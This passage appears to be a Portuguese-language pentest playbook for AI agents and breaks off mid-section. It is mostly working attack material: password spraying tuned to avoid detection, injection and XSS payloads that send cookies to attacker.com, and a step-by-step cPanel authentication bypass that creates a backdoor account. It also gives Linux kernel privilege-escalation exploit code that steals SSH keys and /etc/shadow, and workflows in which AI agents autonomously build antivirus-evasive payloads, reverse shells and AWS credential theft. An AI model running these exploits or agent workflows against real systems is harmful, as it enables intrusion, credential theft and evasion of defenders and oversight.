      target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# Hashcat - Password cracking
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/500-worst-passwords.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/10k-most-common.txt

# John the Ripper
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
john --wordlist=seclists-category/passwords/probable-v2_top-12000.txt hash.txt

Password Spraying

# Low-and-slow password spraying
for password in $(cat seclists-category/passwords/500-worst-passwords.txt); do
    curl -s -X POST https://target.com/login \
         -d "username=admin&password=$password" \
         -o /dev/null -w "%{http_code}\n"
    sleep 5  # Avoid detection
done

Default Credentials (cirt-default-usernames.txt)

Combinações comuns para testar:
admin:admin
admin:password
admin:123456
root:root
test:test
guest:guest
service:service
oracle:oracle
postgres:postgres
mysql:mysql

CTF Exploitation Techniques (ctf-assistant agent)

Web Exploitation

# SQL Injection in CTFs
payloads = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "admin' --",
    "' UNION SELECT NULL--",
    "' UNION SELECT username,password FROM users--",
    "' UNION SELECT LOAD_FILE('/flag')--"  # MySQL file read
]

# Command Injection
injection_payloads = [
    "; cat /flag",
    "| cat /flag",
    "&& cat /flag",
    "$(cat /flag)",
    "`cat /flag`"
]

# Directory Traversal
traversal_payloads = [
    "../../../flag",
    "....//....//....//flag",
    "..%2F..%2F..%2Fflag",
    "/etc/passwd",
    "/proc/self/environ"
]

XSS in CTFs

// Basic XSS - steal admin cookie
<script>fetch('http://attacker.com?c='+document.cookie)</script>

// Bypass filters
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

// Exfiltrate data
<script>
    fetch('http://attacker.com?flag=' + btoa(document.body.innerText))
</script>

Password Cracking em CTFs

# Identificar hash type
hashid hash.txt
hash-identifier

# Crack com wordlists
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/probable-v2_top-12000.txt

# Brute force login em CTF
hydra -l admin -P seclists-category/passwords/500-worst-passwords.txt \
      target.com http-post-form "/login:user=^USER^&pass=^PASS^:Failed"

Binary Exploitation (pwntools)

from pwn import *

# Template para CTF binary exploitation
r = remote('target.com', 1337)

# Buffer overflow
offset = 64
payload = b'A' * offset + p64(0x4011c6)  # Return address

r.sendline(payload)
r.interactive()

# ROP chain
rop = ROP('./binary')
rop.call(rop.ret)  # Stack alignment
rop.call(rop.plt['puts'], [rop.got['puts']])
rop.call(rop.symbols['main'])

Forensics em CTFs

# File carving
binwalk -e firmware.bin
foremost -i image.dd

# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist

# PCAP analysis
tshark -r capture.pcap -Y "http.request"
strings capture.pcap | grep -i flag

# Steganography
steghide extract -sf image.jpg
zsteg image.png

Crypto CTF Techniques

# Caesar cipher
def caesar_decrypt(ciphertext, shift):
    return ''.join(chr((ord(c) - shift - 65) % 26 + 65) for c in ciphertext)

# XOR brute force
def xor_brute(ciphertext):
    for key in range(256):
        plaintext = ''.join(chr(b ^ key) for b in ciphertext)
        if plaintext.isprintable():
            print(f"Key {key}: {plaintext}")

# Base64 variations
import base64
base64.b64decode(encoded)
base64.b32decode(encoded)
base64.b16decode(encoded)

EXPLOIT-WEB-002: CVE-2026-41940 — cPanel & WHM Authentication Bypass

VULNERABILITY: CVE-2026-41940 (cPanel Auth Bypass)
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
AFFECTED: cPanel & WHM (todas versões até patch fev/2026)
TOOLS: /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py
PTES: 4.2 - Customized Exploitation / 4.1.1.8 - WAF Bypass

Root Cause (Resumo Técnico)

A vulnerabilidade permite bypass completo de autenticação no cPanel & WHM através de:

CRLF Injection no fluxo de criação de sessão
Falha na validação de cookies que permite injeção de headers
Tratamento inseguro de sessão que aceita cookies forjados

Mecanismo de ataque (4 stages):

Stage 1: Pre-auth → POST /login/?login_only=1 → whostmgrsession cookie
Stage 2: Inject → GET /scripts2/doautoconfig + CRLF payload → 307 redirect + token leak
Stage 3: Propagate → GET /scripts2/listaccts → session raw → cache
Stage 4: Verify → GET /{token}/json-api/version → API access confirmed

Por que é CVSS 9.8:

Nenhuma autenticação requerida (pre-login bypass)
Acesso root completo ao WHM
MFA bypassado (tfa_verified=1 injetado)
Complexidade baixa (ataque automatizado)
Exploração confirmada em produção desde fevereiro/2026

Pré-requisitos para Exploração

1. Acesso remoto ao cPanel/WHM (porta 2087 ou 2083)
2. Python 3.8+ com requests instalado
3. Target executando cPanel sem patch

Passo-a-Passo para Pentest

# STEP 1: Detectar cPanel (Intelligence Gathering)
httpx -u https://TARGET -title -tech-detect
# Indicadores: cPanel, WHM, porta 2087/2083

# STEP 2: Detectar vulnerabilidade (safe, non-destructive)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password detect

# Output esperado (vulnerável):
# [+] Stage 1: Pre-auth session minted
# [+] Stage 2: CRLF injection successful
# [+] Token: a1b2c3d4e5f6
# [+] VULNERABLE: CVE-2026-41940 confirmed

# STEP 3: Explorar bypass completo
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password exploit

# Output esperado:
# [+] Stage 3: Session propagated to cache
# [+] Stage 4: API access verified
# [+] WHM API version: 1.1.104
# [+] Root access: GRANTED
# [+] Exploitation complete — full admin access

# STEP 4: Verificar acesso pós-bypass
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password verify

# STEP 5: Checar patch status (se necessário)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password check-patch

Pós-Exploração (Manual)

# Acesso WHM API
curl -k -H "Authorization: Basic <base64_payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     https://TARGET/json-api/version

# Listar contas
curl -k -H "Authorization: Basic <payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     https://TARGET/json-api/listaccts

# Criar conta cPanel
curl -k -X POST \
     -H "Authorization: Basic <payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     -d "user=backdoor&pass=Backdoor123!&email=attacker@evil.com" \
     https://TARGET/json-api/createacct

Payload Bypass

PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

# Decoded:
# root:x
# successful_internal_auth_with_timestamp=9999999999
# user=root
# tfa_verified=1
# hasroot=1

Template de Finding

FINDING: CVE-2026-41940-CPANEL-BYPASS
CATEGORY: REMOTE_AUTHENTICATION_BYPASS
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%

TARGET:
- Host: [TARGET]
- cPanel Version: [version]
- Patch Status: UNPATCHED

DESCRIPTION:
Authentication bypass no cPanel & WHM permite acesso root completo
via CRLF injection + session fixation. Nenhuma autenticação
requerida (pre-login bypass). MFA bypassado via cookie injection.

EVIDENCE:
[poc.py detect output]
[poc.py exploit output]
[WHM API access confirmation]

IMPACT:
- Acesso root completo ao WHM
- Criação/modificação de contas cPanel
- Acesso a todos domínios hospedados
- Execução de comandos via WHM API
- Comprometimento total do servidor

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar cPanel para versão mais recente (pós-fev/2026)

Mitigação (para reporte)

# Atualizar cPanel
/scripts/upcp --force

# Verificar versão
/usr/local/cpanel/version

# Monitorar logs
tail -f /usr/local/cpanel/logs/access_log | grep -E "whostmgrsession|doautoconfig"

# WAF rules (temporário)
# Bloquear CRLF em headers Authorization/Cookie
# Restringir acesso porta 2087 por IP

Referências

First disclosed: Fevereiro 2026
Exploitation in wild: Confirmado
Patch status: Disponível (verificar changelog cPanel)
PoC location: /root/.pcode/pocs/cPanel/CVE-2026-41940/

EXPLOIT-LPE-002: CVE-2026-46333 "ssh-keysign-pwn" - Linux Kernel ptrace_may_access Bypass

VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass

Root Cause (Resumo Técnico)

A vulnerabilidade está na função __ptrace_may_access() do kernel Linux, que verifica se um processo pode acessar outro processo.

Cadeia de exploração:

__ptrace_may_access() ignora a verificação dumpable quando task->mm == NULL
do_exit() executa exit_mm() (define task->mm = NULL) ANTES de exit_files()
Durante essa janela de tempo, o processo ainda tem file descriptors abertos
pidfd_getfd(2) succeeds quando o uid do caller matches o uid do target
Resultado: roubo de file descriptors de processos root

Por que é stealth:

Explora race condition natural do kernel
Não requer modificações no sistema
Janela de exploração é milissegundos
File descriptors são clonados, não movidos

Affected Kernels

floor:  torvalds/linux (commit inicial - verificar histórico)
ceiling: torvalds/linux (patch 2026-05-14)

AFETADOS: Todos kernels estáveis antes de 2026-05-14
- Raspberry Pi OS Bookworm: 6.12.75+
- Debian 13: vulnerable
- Ubuntu 22.04 LTS: vulnerable
- Ubuntu 24.04 LTS: vulnerable
- Ubuntu 26.04 LTS: vulnerable
- Arch Linux: vulnerable
- CentOS 9: vulnerable
- RHEL 9: vulnerable

Pré-requisitos para Exploração

1. Acesso local como usuário não-privilegiado
2. Kernel vulnerável (sem patch de 2026-05-14)
3. Para sshkeysign_pwn:
   - SSH com EnableSSHKeysign ativado
   - ssh-keysign executando como root
4. Para chage_pwn:
   - Comando 'chage -l' executando como root via sudo

Técnica 1: sshkeysign_pwn - Roubo de SSH Host Keys

# 1. Verificar se ssh-keysign está habilitado
grep -i EnableSSHKeysign /etc/ssh/ssh_config

# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make

# 3. Executar exploit
./sshkeysign_pwn

# 4. Verificar chaves roubadas
ls -la /tmp/stolen_keys/
cat /tmp/stolen_keys/ssh_host_ecdsa_key
cat /tmp/stolen_keys/ssh_host_ed25519_key
cat /tmp/stolen_keys/ssh_host_rsa_key

# 5. Pós-exploração: usar chaves para impersonate host
# - Man-in-the-middle em conexões SSH
# - Assinar certificados SSH
# - Acessar trust relationships

Impacto:

Roubo de chaves privadas do host SSH
Permite impersonation do servidor
Quebra de trust em federações SSH
Possibilidade de MITM em conexões futuras

Técnica 2: chage_pwn - Roubo de /etc/shadow

# 1. Verificar se chage pode ser executado como root
sudo -l | grep chage

# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make

# 3. Executar exploit (requer que root execute chage -l)
./chage_pwn root

# 4. Verificar shadow roubado
cat /tmp/stolen_shadow

# 5. Quebrar hashes offline
john /tmp/stolen_shadow
hashcat -m 1800 /tmp/stolen_shadow /path/to/wordlist

Impacto:

Acesso a hashes de senha de todos os usuários
Quebra offline de senhas de administrador
Possibilidade de pivô para outras contas

Técnica 3: vuln_target - Teste de Vulnerabilidade

# 1. Compilar teste
cd /opt/Tools/ssh-keysign-pwn/
make

# 2. Executar teste de vulnerabilidade
./vuln_target

# 3. Interpretar resultado
# - "VULNERABLE" → kernel afetado
# - "NOT VULNERABLE" → kernel patchado

Workflow de Pentest

# 1. Enumeração inicial
uname -r  # Verificar versão do kernel
cat /etc/os-release  # Verificar distribuição

# 2. Testar vulnerabilidade
cd /opt/Tools/ssh-keysign-pwn/
./vuln_target

# 3. Se VULNERABLE, verificar vetores
# SSH Key theft
grep -i EnableSSHKeysign /etc/ssh/ssh_config

# Shadow theft
sudo -l | grep chage

# 4. Explorar vetor disponível
make
./sshkeysign_pwn  # OU
./chage_pwn root

# 5. Pós-exploração
# Com SSH host keys:
# - Configurar MITM
# - Assinar certificados falsos

# Com /etc/shadow:
# - Quebrar hashes offline
# - Identificar senhas fracas de admin

Mitigação e Remediation

# 1. Atualizar kernel (RECOMENDADO)
# Verificar patch de 2026-05-14 ou posterior

# 2. Desabilitar ssh-keysign (se não necessário)
# /etc/ssh/ssh_config:
#   EnableSSHKeysign no

# 3. Restringir chage no sudoers
# /etc/sudoers:
#   %sudo ALL=(ALL) NOPASSWD: /usr/bin/chage  # REMOVER

# 4. Monitorar uso de pidfd_getfd
auditctl -a exit,always -F arch=b64 -S pidfd_getfd

# 5. Kernel hardening (sysctl)
echo "kernel.yama.ptrace_scope = 2" >> /etc/sysctl.d/60-ptrace.conf

Template de Finding

FINDING: CVE-2026-46333-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)

TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO

DESCRIPTION:
Vulnerabilidade no kernel Linux (__ptrace_may_access dumpable check bypass)
permite roubo de file descriptors de processos root via pidfd_getfd durante
janela de race condition em do_exit().

EXPLOITATION:
- sshkeysign_pwn: roubo de chaves SSH host
- chage_pwn: roubo de /etc/shadow

EVIDENCE:
[vuln_target output]
[sshkeysign_pwn ou chage_pwn output]
[ls -la /tmp/stolen_* output]

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel para versão com patch de 2026-05-14+

Referências

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-46333
Kernel Patch: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=
Qualys Report: https://www.qualys.com/2026/05/14/linux-kernel-cve-2026-46333.txt
Jann Horn Disclosure: https://groups.google.com/g/linux-kernel/c/
PoC Location: /opt/Tools/ssh-keysign-pwn/

EXPLOIT-LPE-001: CVE-2026-31431 "Copy Fail" - Linux Local Privilege Escalation

VULNERABILITY: CVE-2026-31431 (Copy Fail)
SEVERITY: CRITICAL
CVSS: 7.8 (High Privilege Escalation)
AFFECTED: Linux kernels 2017-2026 (commit 72548b093ee3 to a664bf3d603d)
TOOLS: copy_fail_exp.py (732 bytes), exploit_cve_2026_31431.py
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass

Root Cause (Resumo Técnico)

A vulnerabilidade está no template criptográfico authencesn do kernel Linux, usado pelo IPsec para Extended Sequence Numbers (ESN).

Cadeia de exploração:

AF_ALG + splice() permite que páginas do page cache de arquivos legíveis sejam passadas por referência para o scatterlist de entrada do socket criptográfico
algif_aead.c opera in-place (req->src = req->dst), então o scatterlist de destino contém referências às páginas do page cache
authencesn faz um scratch-write de 4 bytes (seqno_lo) em dst[assoclen + cryptlen], que atravessa do buffer de output para as páginas do page cache encadeadas
Resultado: write controlado de 4 bytes no page cache de qualquer arquivo legível

Por que é stealth:

O page cache corrompido nunca é marcado como "dirty" para writeback
Nada é escrito no disco - apenas a cópia em memória é corrompida
Reboot ou eviction da página restaura o estado original
Ferramentas de integridade baseadas em disco não detectam

Affected Kernels

floor:  torvalds/linux 72548b093ee3   August 2017 (v4.14)
        (AF_ALG iov_iter rework - in-place AEAD optimization)

ceiling: torvalds/linux a664bf3d603d  April 2026 (mainline)
         (reverts in-place optimization)

AFETADOS: Todos kernels entre 2017-2026 sem o patch
- Ubuntu 24.04 LTS: 6.17.0-1007-aws
- Amazon Linux 2023: 6.18.8-9.213.amzn2023
- RHEL 10.1: 6.12.0-124.45.1.el10_1
- SUSE 16: 6.12.0-160000.9-default
- Debian, Arch, Fedora, Rocky, Alma: verificar commit

Pré-requisitos para Exploração

1. Acesso local como usuário não-privilegiado
2. AF_ALG socket family disponível (padrão em todas distros)
3. Módulo algif_aead carregado
4. Alvo legível: /usr/bin/su (setuid) ou /etc/passwd (world-readable)
5. Python 3.10+ (para os.splice) OU Go static binary

Técnica 1: Page Cache Write via /usr/bin/su

# copy_fail_exp.py - 732 bytes
import os, zlib, socket

def write4(f, offset, data):
    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(279, 1, bytes.fromhex("0800010000000010" + "0"*64))  # key
    s.setsockopt(279, 5, None, 4)  # authsize
    u, _ = s.accept()
    
    # AAD: bytes 4-7 = valor a escrever (seqno_lo)
    u.sendmsg([b"A"*4 + data], [...], 32768)  # MSG_MORE
    
    # Splice do arquivo para pipe, depois para socket
    r, w = os.pipe()
    os.splice(f, w, offset+4, offset_src=0)
    os.splice(r, u.fileno(), offset+4)
    
    try: u.recv(8+offset)  # trigger
    except: pass

# Exploração
f = os.open("/usr/bin/su", os.O_RDONLY)
shellcode = zlib.decompress(payload)  # shellcode descomprimido
for i in range(0, len(shellcode), 4):
    write4(f, i, shellcode[i:i+4])
os.system("su")  # executa su corrompido

Técnica 2: UID Modification via /etc/passwd

# exploit_cve_2026_31431.py - modifica UID para 0000
# Mais confiável que injetar shellcode

# 1. Encontrar offset do UID no /etc/passwd
# Formato: username:x:UID:GID:comment:home:shell
# Ex: testuser:x:1000:1000:Test User:/home/testuser:/bin/bash
#                    ^^^^ <- offset do UID (4 bytes)

# 2. Escrever "0000" no offset do UID
write4("/etc/passwd", uid_offset, b"0000")

# 3. Verificar via libc
import pwd
pwent = pwd.getpwnam("testuser")
print(f"pw_uid = {pwent.pw_uid}")  # Deve ser 0

# 4. Executar su para root shell
os.execvp("su", ["su", "testuser"])
# PAM valida senha contra /etc/shadow (intacto)
# setuid(0) concede root

Passo-a-Passo para Pentest

# STEP 1: Detectar vulnerabilidade (safe, non-destructive)
python3 test_cve_2026_31431.py
# Exit 0 = NOT vulnerable
# Exit 2 = VULNERABLE
# Exit 1 = test error

# STEP 2: Explorar (escolher abordagem)

# Abordagem A: /etc/passwd UID modification (mais confiável)
python3 exploit_cve_2026_31431.py --shell
# Modifica page cache do /etc/passwd
# Executa su <user> automaticamente
# Digite sua senha para root shell

# Abordagem B: /usr/bin/su shellcode injection
python3 copy_fail_exp.py
# Injeta shellcode diretamente no su
# Executa su corrompido

# STEP 3: Pós-exploração
id  # uid=0(root) gid=1000(user)
whoami  # root

# STEP 4: Limpeza (restaurar page cache)
# Da root shell:
echo 3 > /proc/sys/vm/drop_caches

# OU sem root (evict page):
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
            os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"

Payloads por Arquitetura

Arquitetura | Shellcode (zlib compressed hex)
-----------|----------------------------------
amd64      | 78daab77f57163626464800126063b...
i386       | 78daab77f571636464648001260666...
arm64      | 78daab77f5716362646480012686ed...

Shellcode Assembly (exec /bin/sh)

; amd64 - execve("/bin/sh", NULL, NULL)
xor eax, eax
xor edi, edi
mov al, 0x69      ; sys_setuid
syscall
lea rdi, [rel sh]
xor esi, esi
push 0x3b
pop rax
cdq
syscall
sh: db "/bin/sh", 0

Mitigação (para reporte)

# Imediato: desabilitar módulo algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null

# Permanente: atualizar kernel
# Patch commit: a664bf3d603d
# Distro packages: verificar changelog

# Container/Kubernetes: seccomp profile
# Bloquear AF_ALG socket creation

Template de Finding

FINDING: CVE-2026-31431-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: CRITICAL
CVSS: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO

DESCRIPTION:
Vulnerabilidade no kernel Linux (authencesn + AF_ALG + splice)
permite write controlado de 4 bytes no page cache de qualquer
arquivo legível. Exploração concede root via /etc/passwd ou
/usr/bin/su corruption.

EVIDENCE:
[test_cve_2026_31431.py output]
[id output após exploração]

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel ou desabilitar algif_aead

Referências

Disclosure: https://xint.io/blog/copy-fail-linux-distributions
GitHub: https://github.com/theori-io/copy-fail-CVE-2026-31431
Patch: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d
CVE: CVE-2026-31431

Próximos Passos

Após completar esta fase, prossiga para pentest_post-exploitation (PTES Section 5)

🤖 AIRecon Integration for Exploitation

AIRecon é um agente autônomo de penetration testing (v0.1.7-beta) que pode ser invocado como ferramenta incremental durante exploitation para automatizar geração de payloads, execução de exploits, e validação de acesso.

Invocando AIRecon para Exploitation

# AIRecon com keywords de exploitation
airecon "pentest exploitation cve-2026-41940 cpanel bypass"

# AIRecon detectará keywords e carregará:
# - pentest-exploitation.md (skill primária)
# - pentest-post-exploitation.md (para pós-exploração)
# - MCP tools: boaz (payload generation), hexstrike (metasploit, sqlmap)

# Para Linux LPE exploitation:
airecon "pentest exploitation cve-2026-31431 linux privilege escalation"
airecon "pentest exploitation cve-2026-46333 ssh-keysign-pwn"

# Para AWS privilege escalation:
airecon "pentest exploitation aws iam privilege escalation worstassume"

AIRecon Slash Commands Úteis para Exploitation

# SQL Injection exploitation
/sqli-test --target https://target.com/page?id=1 --exploit

# Network exploitation
/naabu-scan --target target.com --exploit-ports 22,80,443

# Webshell detection (post-exploitation)
/webshell-detect --target /var/www/html --recursive

# API key harvesting (post-exploitation)
/api-keys --target ./src --recursive --extract

MCP Tool Integration via AIRecon

Durante exploitation, AIRecon pode invocar MCP tools automaticamente:

# boaz: Advanced payload generation with evasion
airecon "generate evasive payload for Windows 11 + Defender"
# → Usará mcp__boaz__generate_payload

airecon "list available boaz loaders"
# → Usará mcp__boaz__list_loaders

# hexstrike-local: Exploitation tools
airecon "run metasploit exploit multi/handler"
# → Usará mcp__hexstrike-local__metasploit_run

airecon "generate msfvenom payload windows/x64/shell_reverse_tcp"
# → Usará mcp__hexstrike-local__msfvenom_generate

airecon "run sqlmap exploit on https://target.com/page?id=1"
# → Usará mcp__hexstrike-local__sqlmap_scan

# pentestswarm-remote: Automated exploitation campaigns
airecon "start exploitation campaign for target.com"
# → Usará mcp__pentestswarm-remote__start_campaign

# cve-mcp: Exploit availability checking
airecon "check exploit availability CVE-2026-41940"
# → Usará mcp__cve-mcp__check_exploit_availability

airecon "generate exploit from CVE-2026-41940"
# → Usará mcp__hexstrike-local__generate_exploit_from_cve

Workflow Example: Exploitation com AIRecon + BOAZ + Metasploit

# 1. Usar AIRecon para carregar exploitation skill
airecon "pentest exploitation target.com"

# 2. AIRecon auto-carrega pentest-exploitation.md

# 3. Gerar payload evasivo com BOAZ via AIRecon
airecon "boaz generate payload --input shell.exe --loader 1 --evasion advanced"

# 4. Executar Metasploit handler via AIRecon
airecon "metasploit use exploit/multi/handler --payload windows/x64/shell_reverse_tcp"

# 5. AIRecon monitora sessão e reporta sucesso
# 6. Exportar exploitation evidence
airecon "export exploitation evidence to JSON"

Workflow Example: CVE-2026-41940 (cPanel) com AIRecon

# 1. Detectar cPanel via AIRecon
airecon "shodan search product:cpanel port:2087"

# 2. Verificar exploit availability
airecon "check exploit availability CVE-2026-41940"

# 3. Executar PoC de detecção
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py detect"

# 4. Se vulnerável, explorar
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py exploit"

# 5. Verificar acesso
airecon "verify cpanel root access"

# 6. Exportar evidence
airecon "export cpanel exploitation evidence"

Workflow Example: CVE-2026-31431 (Linux LPE) com AIRecon

# 1. Detectar kernel vulnerability
airecon "test CVE-2026-31431 vulnerability"

# 2. Se vulnerável, explorar
airecon "exploit CVE-2026-31431 --method passwd-uid"

# 3. Verificar root access
airecon "verify root access"

# 4. Pós-exploração automática
airecon "post-exploitation enumeration"

# 5. Limpeza (restaurar page cache)
airecon "restore page cache /etc/passwd"

AIRecon Auto-Skill Loading para Exploitation

Keywords Detectadas	Skills Carregadas	MCP Tools Ativados
`exploit` `cve`	pentest-exploitation	cve-mcp, hexstrike (metasploit)
`payload` `shellcode`	pentest-exploitation	boaz, hexstrike (msfvenom)
`cpanel` `whm`	pentest-exploitation	cve-mcp (CVE-2026-41940)
`linux lpe` `kernel`	pentest-exploitation	hexstrike (pwntools)
`aws iam` `privesc`	pentest-exploitation	worstassume, hexstrike
`pfsense` `firewall`	pentest-pfsense, pentest-exploitation	cve-mcp, hexstrike

AIRecon + BOAZ Payload Generation

# AIRecon gera payloads evasivos automaticamente
airecon "boaz generate --input shell.exe --output evasive.exe"

# Opções de evasão disponíveis:
# - ETW patching
# - API unhooking
# - Sleep obfuscation
# - Syscall whisper
# - Junk code insertion
# - Anti-emulation checks
# - Self-deletion

# AIRecon seleciona técnicas baseado no target:
# Windows 11 + Defender → Evasão avançada
# Windows Server → Evasão moderada
# Linux → ELF payload com técnicas similares

AIRecon Attack Chain Execution

# AIRecon executa attack chains automaticamente
airecon "execute attack chain PassRole+Lambda→StealRole"

# Steps executados:
# 1. Identify high-privilege role
# 2. Create Lambda function with role
# 3. Inject credential exfiltration code
# 4. Invoke function
# 5. Collect credentials from output
# 6. Validate access with new credentials

# AIRecon reporta cada step e exporta evidências

🤖 Watchtower Integration for Exploitation

Watchtower é um framework de penetration testing baseado em LangGraph com arquitetura multi-agente (Planner, Worker, Analyst) que automatiza exploitation workflows usando 23 ferramentas de segurança.

Invocando Watchtower para Exploitation

# Exploitation scanning com Watchtower
python -m watchtower.main -t https://www.example.com --skip-ask-tools

# Watchtower executará automaticamente:
# - Planner Agent: Planeja workflow de exploitation
# - Worker Agent: Executa ferramentas de exploração
# - Analyst Agent: Valida explorações bem-sucedidas

# Exploitation focado em SQL injection
python -m watchtower.main -t https://www.example.com \
  --focus sqli \
  --skip-ask-tools

# Exploitation focado em XSS
python -m watchtower.main -t https://www.example.com \
  --focus xss \
  --skip-ask-tools

# CMS-specific exploitation
python -m watchtower.main -t https://www.example.com \
  --focus wordpress \
  --skip-ask-tools

Watchtower Slash Commands para Exploitation

# SQL injection exploitation
/watchtower-exploit --target https://www.example.com --type sqli

# XSS exploitation
/watchtower-exploit --target https://www.example.com --type xss

# WordPress exploitation
/watchtower-exploit --target https://www.example.com --cms wordpress

# Authentication bypass testing
/watchtower-exploit --target https://www.example.com --type auth-bypass

# File inclusion testing
/watchtower-exploit --target https://www.example.com --type lfi

MCP Tool Integration via Watchtower

Watchtower integra-se com MCP tools automaticamente durante exploitation:

# hexstrike-local: Exploitation tools
# - sqlmap_scan: SQL injection detection + exploitation
# - dalfox_xss_scan: Advanced XSS exploitation
# - xsser_scan: Comprehensive XSS testing
# - wpscan_analyze: WordPress exploitation
# - jaeles_vulnerability_scan: Signature-based exploitation
# - msfvenom_generate: Payload generation
# - metasploit_run: Metasploit module execution

# BOAZ integration for payload generation
# - generate_payload: Evasive Windows payloads
# - list_loaders: Available loader modules
# - list_outputs: Generated payloads

# pentestswarm-remote: Exploitation campaigns
# - start_campaign: Stateful exploitation campaign
# - get_campaign_findings: Exploitation results

# cve-mcp: Exploit intelligence
# - check_exploit_availability: Public exploits
# - get_cve_summary: CVE details for targeting

Workflow Example: SQL Injection Exploitation

# 1. Watchtower detecta SQL injection
python -m watchtower.main -t https://www.example.com \
  --focus sqli \
  --skip-ask-tools

# 2. Watchtower executa:
#    - sqlmap: SQLi detection + exploitation
#    - nuclei: SQLi templates
#    - jaeles: SQLi signatures

# 3. Se SQLi confirmado:
#    - Database enumeration
#    - Credential extraction
#    - OS command execution (se --os-shell)

# 4. Watchtower Analyst valida sucesso
# 5. Relatório PDF com evidências
python -m watchtower.main --report "sqli_exploitation_report.pdf"

Workflow Example: XSS Exploitation

# 1. Watchtower detecta XSS
python -m watchtower.main -t https://www.example.com \
  --focus xss \
  --skip-ask-tools

# 2. Watchtower executa:
#    - dalfox: Advanced XSS scanning
#    - xsstrike: XSS detection + payload gen
#    - xsser: Comprehensive XSS testing

# 3. Tipos de XSS detectados:
#    - Reflected XSS
#    - Stored XSS
#    - DOM-based XSS
#    - Blind XSS

# 4. Payloads geradas automaticamente
# 5. Proof-of-concept URLs geradas

Workflow Example: WordPress Exploitation

# 1. Watchtower detecta WordPress
python -m watchtower.main -t https://www.example.com \
  --focus wordpress \
  --skip-ask-tools

# 2. Watchtower executa:
#    - wpscan: WordPress vulnerability scanning
#    - Plugin enumeration + CVE matching
#    - Theme enumeration
#    - User enumeration
#    - Version detection

# 3. Vulnerabilidades verificadas:
#    - Core WordPress CVEs
#    - Plugin vulnerabilities
#    - Theme vulnerabilities
#    - Weak credentials

# 4. Se vulnerável:
#    - Exploitation automática (se PoC disponível)
#    - Credential stuffing
#    - Plugin/theme exploit execution

Workflow Example: pfSense Exploitation

# Watchtower explora pfSense automaticamente
python -m watchtower.main -t https://pfsense.target.com --skip-ask-tools

# Exploits verificados automaticamente:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation

# Se exploit bem-sucedido:
# - Watchtower Analyst valida acesso
# - Command execution confirmada
# - Evidências capturadas
# - Incluído no relatório PDF

Workflow Example: cPanel Exploitation (CVE-2026-41940)

# Watchtower explora cPanel CVE-2026-41940
